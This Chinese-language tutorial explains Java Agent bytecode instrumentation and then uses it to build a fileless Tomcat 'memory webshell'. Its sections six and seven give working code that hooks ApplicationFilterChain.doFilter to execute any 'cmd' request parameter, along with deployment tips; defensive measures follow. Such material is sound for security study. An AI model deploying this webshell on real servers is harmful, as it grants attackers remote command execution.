从Java Agent到内存马
字数 1752 2025-08-10 22:08:13
Java Agent与内存马技术详解
一、Java Agent基础
1. Java Agent概述
Java Agent是一种能够在JVM启动时或运行时动态修改字节码的技术,核心功能是进行字节码插桩(bytecode instrumentation)。它通过JVMTI(JVM Tool Interface)实现,JVMTI是JVM暴露给用户的扩展接口集合,基于事件驱动机制。
2. Java Agent启动方式
Java Agent有两种启动时机和对应的启动方式:
Load-Time Instrumentation (加载时插桩)
- 时机:类加载时
- 启动方式:命令行启动
java -cp ./target/classes/ -javaagent:./target/TheAgent.jar sample.Program
Dynamic Instrumentation (动态插桩)
- 时机:类加载后
- 启动方式:通过Attach机制启动
import com.sun.tools.attach.VirtualMachine;
public class VMAttach {
public static void main(String[] args) throws Exception {
String pid = "1234";
String agentPath = "D:\\git-repo\\learn-java-agent\\target\\TheAgent.jar";
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentPath);
vm.detach();
}
}
3. Agent Jar核心组件
Agent Jar的manifest文件中包含以下关键属性:
| 属性 | 描述 | 必需性 |
|---|---|---|
| Premain-Class | JVM启动时指定代理类,包含premain方法 | 必需 |
| Agent-Class | 包含agentmain方法的类 | 必需 |
| Can-Redefine-Classes | 是否允许重定义类 | 可选,默认false |
| Can-Retransform-Classes | 是否允许重新转换类 | 可选,默认false |
| Can-Set-Native-Method-Prefix | 是否允许设置本地方法前缀 | 可选,默认false |
二、Java Agent实现原理
1. 核心机制
- JVM在类加载时触发
JVMTI_EVENT_CLASS_FILE_LOAD_HOOK事件 - 调用已注册的字节码转换器完成字节码转换
- 通过
java.lang.instrument.Instrumentation接口操作
2. 关键API
addTransformer(): 注册Class文件转换器retransformClasses(): 对已加载的类进行重新转换getAllLoadedClasses(): 获取所有已加载的类
三、实战:使用Agent Dump类文件
1. 准备工作
目录结构:
JAgentTest/
├── application/
│ ├── out/
│ ├── sample/
│ └── src/
└── java-agent/
├── out/
├── src/
└── manifest.txt
2. 编写Agent核心组件
ClassDumpAgent.java
public class ClassDumpAgent {
public static void premain(String agentArgs, Instrumentation inst) {
agentmain(agentArgs, inst);
}
public static void agentmain(String agentArgs, Instrumentation inst) {
// 解析参数
ClassDumpUtils.parseArgs(agentArgs);
inst.addTransformer(new ClassDumpTransformer(), true);
// 处理已加载的类
Class[] classes = inst.getAllLoadedClasses();
List<Class> candidates = new ArrayList<>();
for (Class c : classes) {
// 筛选符合条件的类
if (inst.isModifiableClass(c) && ClassDumpUtils.isCandidate(c.getName())) {
candidates.add(c);
}
}
// 重新转换选中的类
if (!candidates.isEmpty()) {
inst.retransformClasses(candidates.toArray(new Class[0]));
}
}
}
ClassDumpTransformer.java
public class ClassDumpTransformer implements ClassFileTransformer {
public byte[] transform(ClassLoader loader, String className, Class redefinedClass,
ProtectionDomain protDomain, byte[] classBytes) {
if (ClassDumpUtils.isCandidate(className)) {
ClassDumpUtils.dumpClass(className, classBytes);
}
return null; // 不修改原始字节码
}
}
四、使用Agent替换JVM中的类
1. 修改TransClass示例
原始类:
public class TransClass {
public int getNumber() {
System.out.println("我返回1, 求HOOK");
return 1;
}
}
修改后的恶意类:
public class TransClass {
public int getNumber() {
System.out.println("Hooked by s8ark");
return 2023;
}
}
2. Transformer实现
public class Transformer implements ClassFileTransformer {
public static final String classNumberReturns2 = "path/to/TransClass.class.2";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (!className.equals("TransClass")) return null;
try {
return getBytesFromFile(classNumberReturns2);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
五、Javassist字节码操作
1. Javassist简介
Javassist是一个高级字节码操作库,相比ASM更易用但效率稍低。
2. 基本使用示例
public class JavasistMain {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass clz = classPool.get("com.s8ark.service.Service");
CtMethod serviceMethod = clz.getDeclaredMethod("service");
// 方法前插入代码
serviceMethod.insertBefore("System.out.println(\"Insert before execute!\");");
// 方法后插入代码
serviceMethod.insertAfter("System.out.println(\"Insert after execute!\");");
// 生成修改后的类
clz.writeFile();
Service service = (Service) clz.toClass().newInstance();
service.service();
}
}
六、构造Agent内存马
1. 目标选择
选择org.apache.catalina.core.ApplicationFilterChain类的doFilter方法作为注入点,因为:
- 所有请求都会经过该方法
- 方法中包含request和response对象
2. 恶意Transformer实现
public class Transformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
className = className.replace("/", ".");
if (!className.equals(ClassName)) return new byte[0];
try {
ClassPool classPool = ClassPool.getDefault();
CtClass clz = classPool.get(className);
CtMethod doFilterMethod = clz.getDeclaredMethod("doFilter");
// 插入恶意代码
doFilterMethod.insertBefore(
"javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}"
);
byte[] bytes = clz.toBytecode();
clz.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
}
3. AgentMain实现
public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new Transformer(), true);
Class[] allLoadedClasses = ins.getAllLoadedClasses();
for (Class clazz : allLoadedClasses) {
if (clazz.getName().equals(ClassName)) {
try {
ins.retransformClasses(new Class[]{clazz});
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}
七、Agent内存马利用技巧
1. 上传两个jar包执行
- 上传Agent Jar和Attach工具Jar
- 通过Attach工具将Agent注入目标JVM
2. 进程注入实现无文件不死webshell
- 不落地文件直接注入内存
- 利用JVM Attach机制
- 通过反射调用关键API避免直接依赖tools.jar
八、防御措施
- 禁用JVM Attach功能
- 监控
VirtualMachine.attach调用 - 检查Agent Jar的加载
- 使用RASP防护内存马注入
- 定期检查关键类字节码完整性
九、总结
Java Agent技术提供了强大的字节码操作能力,可以用于:
- 应用性能监控
- 代码热修复
- 动态增强功能
但同时也被恶意利用构造内存马,安全团队需要:
- 了解攻击原理
- 部署有效防护
- 建立检测机制
- 及时修补漏洞
通过深入理解Java Agent技术,可以更好地防御相关攻击,同时也能合理利用这项技术进行应用开发和运维。